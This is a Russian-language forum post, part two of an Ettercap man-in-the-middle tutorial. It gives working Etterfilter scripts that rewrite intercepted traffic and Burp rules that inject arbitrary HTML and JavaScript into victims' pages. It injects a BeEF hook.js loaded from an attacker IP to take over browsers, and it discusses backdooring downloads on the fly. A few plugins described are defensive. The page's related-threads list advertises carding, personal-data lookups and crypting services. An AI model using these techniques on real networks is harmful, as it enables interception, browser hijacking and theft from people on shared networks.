Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2

klobald

Original poster
Pro Member
Сообщения
134
Реакции
120
Посетить сайт
4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:
Код:
sudo apt-get remove ettercap-graphical ettercap-common
sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev
git clone -b filter-improvements https://github.com/Ettercap/ettercap.git
cd ettercap/
mkdir build
cd build
cmake ENABLE_PDF_DOCS=On ../
make
sudo make install

В общем, если у вас фильтры не заработали – то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter. Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:




В файл с именем img_replacer.filter скопируйте:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная

      msg("zapped Accept-Encoding!\n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   msg("Filter Ran.\n");

}

Скомпилируйте файл:
Код:
etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:
Код:
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
 14 protocol tables loaded:
    DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth
 13 constants loaded:
    VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP
 Parsing source file 'img_replacer.filter'  done.
 Unfolding the meta-tree  done.
 Converting labels to real offsets  done.
 Writing output to 'img_replacer.ef'  done.
 -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:
Код:
ettercap -G -F img_replacer.ef

Примечание: Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "gzip")) {

    replace("gzip", "    "); # примечание: четыре пробела в заменяемой строке

        msg("whited out gzip\n");

    }

}

if (ip.proto == TCP && tcp.dst == 80) {

    if (search(DATA.data, "deflate")) {

        replace("deflate", "       "); # примечание: семь пробелов в заменяемой строке

        msg("whited out deflate\n");

    }

}

а далее ещё несколько примеров:

# замена текста в пакете:

if (ip.proto == TCP && search(DATA.data, "lol")){

    replace("lol", "smh");

    msg("filter ran");

}

 

# показать сообщение, если tcp портом является 22

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      msg("SSH packet\n");

   }

}

# записать весь telnet трафик, также выполнить ./program на каждый пакет

if (ip.proto == TCP) {

   if (tcp.src == 23 || tcp.dst == 23) {

      log(DATA.data, "./logfile.log");

      exec("./program");

   }

}

# записать весь трафик, кроме http

if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {

   log(DATA.data, "./logfile.log");

}

# некоторые операции с полезной нагрузкой пакетов

if ( DATA.data + 20 == 0x4142 ) {

   DATA.data + 20 = 0x4243;

} else {

   DATA.data = "modified";

   DATA.data + 20 = 0x4445;

}

# отбросить все пакеты, содержащие "ettercap"

if (search(DECODED.data, "ettercap")) {

   msg("some one is talking about us...\n");

   drop();

   kill();

}

# записать расшифрованные ssh пакеты, соответствующие регулярному выражению

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      if (regex(DECODED.data, ".*login.*")) {

         log(DECODED.data, "./decrypted_log");

      }

   }

}

# убийство пакетов

if (ip.ttl < 5) {

   msg("The packet will die soon\n");

}

# то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты

if (eth.proto == IP6 && ipv6.hl < 5) {

   msg("The IPv6 packet will die soon\n");

}

# сравнение строки на данный сдвиг

if (DATA.data + 40 == "ette") {

   log(DATA.data, "./logfile");

}

# вставить файл после указанного пакета

if (tcp.src == 21 && search(DATA.data, "root")) {

   inject("./fake_response");

}

# целиком заменить пакет на другой

if (tcp.src == 23 && search(DATA.data, "microsoft")) {

   drop();

   inject("./fake_telnet");

}

# Изменение бинарных данных используя внешнюю программу

if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) {

   log(DATA.data, "/tmp/payload");

   drop();

   execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload");

   udp.len += 7;

   exec("/bin/rm /tmp/payload");

   msg("faked");

}

# фильтровать только указанный IP адрес

if (ip.src == '192.168.0.2') {

   drop();

}

# делать то же самое для IPv6

if (ipv6.src == '2001:db8::1') {

   drop();

}

# комбинируем IPv4 и IPv6

if (eth.proto == IP && ip.dst == '192.168.0.2') {

   msg("drop IPv4");

   drop();

}

if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') {

   msg("drop IPv6");

   drop();

}

# транслировать tcp пакеты с порта 80 на 81

if (tcp.dst == 80) {

   tcp.dst -= 1;

   tcp.dst += 2;

}

# найти и покалечить пакеты ESP

if (ip.proto == ESP) {

   DATA.data = "DEADDECAF";

}


4.2 Подмена данных с помощью Burp
Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила.

  • Request header – это заголовок запроса
  • Request body – тело запроса
  • Response header – заголовок ответа
  • Response body – тело ответа
  • Request param name – Имя параметра запроса
  • Request param value – Значение параметра запроса
  • Request first line – Первая строка запроса
Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует – этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю. )))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять
Код:
<title>.*<\/title>

на

<title>No Title</title>

Поставьте галочку на Regex match.




Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:




Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем
Код:
<body.*?>

На

<body><p>I am cool!</p>

Поставьте галочку на Regex match.




В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст – что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым – всё зависит от вашей фантазии.




Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ – то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, здесь реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF
Чтобы начать использовать возможности BeEF, нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:
Код:
<script src="IP_или_ХОСТ/hook.js">

Следующие два метода различаются только методом внедрения этой строки.


5.1 Подцепление BeEF с помощью фильтров Ettercap
[раздел будет подготовлен позже]


5.2 Подцепление BeEF с помощью Burp
Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:
Код:
<script src="IP_или_ХОСТ/hook.js">



В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:
Код:
<script src="http://192.168.1.36:3000/hook.js">

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена
Код:
<\/head>

На

<script src="http://192.168.1.36:3000/hook.js"></head>




Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:




6. Заражение бэкдорами
Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory: в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite.


7. Использование плагинов Ettercap
Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:
Код:
-P, --plugin <плагин>       запустить этот <плагин>

Также плагины можно загрузить из графического интерфейса:



[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop
Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

пример:
Код:
ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

7.2 autoadd
Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison
Он выполняет проверку — успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof
Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn
Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

пример:
Код:
ettercap -TQzP find_conn

ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap
Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner
Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

пример:
Код:
ettercap -TQP scan_poisoner //

7.8 search_promisc
Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

примеры:
Код:
ettercap -TQP search_promisc /192.168.0.1/

ettercap -TQP search_promisc //

7.9 sslstrip
Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

Заключение
Ettercap – программа для выполнения атаки человек-посередине. Она предлагает три пользовательских интерфейса на выбор. Кроме своей основной функции – ARP спуфинг и сниффинг трафика, программа поддерживает работу с плагинами и фильтрами.

Ettercap может быть использована в комбинации с другими инструментами, для выполнения самых разных сценариев атак.
 
Название темы
Автор Заголовок Раздел Ответы Дата
klobald Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
Р Интересно Инструкция по получению 80р от Пятёрочки Другое 2
BuriTTo Инструкция по настройке своего VPN от VektorT13 SSH / дедики / Vpn / Proxy / Socks 0
T0pDro4eR Инструкция по установке веб-сервера Apache c PHP, MariaDB и phpMyAdmin в Windows. Полезные статьи 0
klobald Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux Уязвимости и взлом 0
klobald Инструкция по использованию MITMf Уязвимости и взлом 0
shellest Статья Анонимность | Инструкция по Выживанию Анонимность и приватность 0
chubais46 Инструкция по добычи PROXY для Black_Lucky Полезные статьи 1
manyfanny UBC developed by FraGmeNt 1.7.1 + Инструкция для редактора Бруты/Парсеры/Чекеры 2
uchenik07 [Услуги по бану] Instagram Инстаграм Блокировка / Удаление аккаунтов ban block Ищу работу. Предлагаю свои услуги. 1
Б Продам Пробив информации по ИНН, Авто, ФИО, Телефону, паспорту, человеку, адресу Пробив информации/Прозвоны 1
W Комплексный прогон по трастовым сайтам, статейное размещение. Рост НЧ-СЧ, Икс. Ищу работу. Предлагаю свои услуги. 1
Zer0D4y Продам скрипт для спама по группам и лс телеграмма. Все что не подошло по разделу 1
SMMStats SMMStats.ru - Накрутим везде. Более 2500 SMM услуг по раскрутке. YouTube, TikTok, Instagram, VK, Telegram, Twitter.. Лайки, комментарии, подписчики... Ищу работу. Предлагаю свои услуги. 1
9779 Интересно tails ОЧЕНЬ подробный гайд по установке.Ч2 Анонимность и приватность 3
killasel Пробив по гос. Структурам России и Украины. В телегу killasel Пробив информации/Прозвоны 0
9779 Интересно tails ОЧЕНЬ подробный гайд по установке.Ч1 Анонимность и приватность 4
Flander2 Нужен специалист по hh.ru Предоставляю работу. Ищу специалиста. 1
bu8ba Интересно Слив более 49 бело-серых схем по заработку Способы заработка 3
bu8ba Большой слив курсов по Тик-Ток Способы заработка 0
adflak Вам нужны клиенты с теневых форумов по вкусной цене? Ищу работу. Предлагаю свои услуги. 3
BBTgang Продам NeverShop, бот по продаже валид баз и аккаунтов Аккаунты/Админки/Документы 0
adflak (Акция) Рассылка по чатам телеграм 5 дней - 1000₽ [img]https://c.radikal.ru/c41/2103/23/8c145b21e450.gif[/img] Рассылка по чатам телеграм – один из эф Ищу работу. Предлагаю свои услуги. 1
$ Ищем людей по направлениям хакинг, обмен и кардинг Ищу работу. Предлагаю свои услуги. 1
Friends Бот по отрисовки фейк чеки популярных приложений Ищу работу. Предлагаю свои услуги. 0
L Приглашаются дроповоды по ЕС на стабильную работу с высокой оплатой. Предоставляю работу. Ищу специалиста. 2
Uno-uno Интересно Обучение по Enroll Способы заработка 0
Khan Россиянин Кирилл Фирсов, задержанный в США по подозрению в похищении данных, признал свою вину Новости в сети 1
turbion0 Пробив и поиск информации по всем структурам. ↯Turbion Service↯ Финансы - биллинги, банки, кошельки, логи 2
D Ищу партнеров для работы по белому!!! Предоставляю работу. Ищу специалиста. 0
O Куплю покупаю каналы YouTube по хорошей цене Куплю/Обменяю 0
O Куплю покупаю каналы YouTube по хорошей цене Куплю/Обменяю 0
st.ap Подскажите курсы или уроки по вирусописанию Вопросы и интересы 2
Denik Интересно Мануал по работе с Amazon Обучения, схемы, мануалы 7
Gumanoid Интересно [Chrome] режим Инкогнито по ярлыку в Windows. Анонимность и приватность 0
W Продам Продаю СС по низким ценам Карты/CC/Банки/Enroll 1
Р Рассказываем, как стать банкротом по новому упрощенному порядку без суда Способы заработка 0
S Продам Брут дедики по низким ценам Куплю/Обменяю 0
transis Методчка по Наружному наблюдению Другое 0
H OSINT по номеру телефона. Корзина 0
H Мануал по Maltego. Сбор информации Корзина 0
Admin Как узнать местоположение человека по фото [ANDROID] Анонимность и приватность 8
NickelBlack sherlock - поиск по нику в соц сетях Уязвимости и взлом 0
Haunted Family Продам Пробив по МВД и ГИБДД | от Haunted Family Пробив информации/Прозвоны 0
Haunted Family Продам Пробив по операторам сотовой связи | от Haunted Family Пробив информации/Прозвоны 0
good_evil Ищу работу пентестером по вашим сеткам на постояфснной основе. Ищу работу. Предлагаю свои услуги. 0
H Оплаченные аккаунты для Telegram, WhatsApp, и курс для рассылки по Email Продажа софта 0
Maks1 Раздаю аккаунты ориджин за регистрацию по реф.ссылке Раздача (аккаунтов/ключей) 0
durovspam [ Спам Telegram ] - Качественная рассылка по ЛС/чатам Спам, рассылки, трафик, SEO 0
L Продам AUTOMATIC CRYPT SERVICE - Онлайн сервис по крипту файлов Malware, эксплойты, связки, крипт 0

Название темы